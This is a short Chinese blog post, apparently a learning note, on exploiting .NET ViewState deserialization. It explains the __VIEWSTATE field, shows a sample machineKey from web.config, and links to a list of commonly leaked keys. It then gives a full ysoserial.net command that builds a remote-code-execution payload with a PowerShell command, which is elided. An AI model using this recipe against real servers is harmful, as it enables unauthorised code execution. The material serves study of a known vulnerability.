0x01 前言
微信公众号催更了,如果再不更新就封号了QAQ
最近在复现一些经典漏洞,同时帮朋友挖一些cnvd,在复现.net相关漏洞时发现大部分rce场景现在也转移到反序列化层面,Exchange中也频繁出现ViewState字段反序列化的影子,所以简单学习并记录一下。
At the first,我先附上我学习该漏洞利用方式时参考的资料:
https://github.com/dotnet/AspNetCore.Docs
http://www.manongjc.com/detail/58-dcrpmivpcamblyj.html
利用工具:
https://github.com/pwntester/ysoserial.net
0x02 ViewState
在AspNetCore.Docs中这样解释:
https://github.com/dotnet/AspNetCore.Docs/blob/e98de861adaaaf63d178f7daccd9a645c0fbb98a/aspnetcore/security/data-protection/compatibility/replacing-machinekey.md?plain=1#L32
[!TIP]You can tell if the new data protection system is active by inspecting fields like
__VIEWSTATE
, which should begin with "CfDJ8" as in the example below. "CfDJ8" is the base64 representation of the magic "09 F0 C9 F0" header that identifies a payload protected by the data protection system.
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="CfDJ8AWPr2EQPTBGs3L2GCZOpk...">
翻译:
您可以通过检查“__VIEWSTATE”等字段来判断新的数据保护系统是否处于活动状态,该字段应以“CfDJ8”开头,如下例所示。“CfDJ8”是神奇的“09 F0 C9 F0”标头的base64表示,用于标识受数据保护系统保护的有效载荷。
师爷翻译:
这玩意有用,关不了。
在.NET 1.0版本中 __VIEWSTATE使用的是base64加密方式,这意味着我们构造恶意的反序列化Payload几乎是没有门槛的。
在.NET 2.0版本中新增了ViewStateEncryptionMode属性,指明ViewState是否加密,在web.config中设定。
但是以上内容都不重要了,因为现在.net版本已经新太多了,然而ViewState问题依然存在,只不过利用门槛变高了而已。
0x03 Exploit
现在当我们想要使用ViewState反序列化来获取服务器权限,我们首先需要获得其构造加密的密钥,一般情况下这个密钥放在/web.config文件中,例如:
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
其实找不到key也没关系,github有人收集了常见的Key:
https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState.txt
收集到Key就可以通过.net yso来生成payload(注意--path):
ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e ..."
生成出来的字符串扔到ViewState中就可以RCE了
End
.net中还有好多其他反序列化的利用方法,随着我复现也会慢慢研究更新。
原文始发于微信公众号(頭髪的特計):简单学习.net反序列化ViewState利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论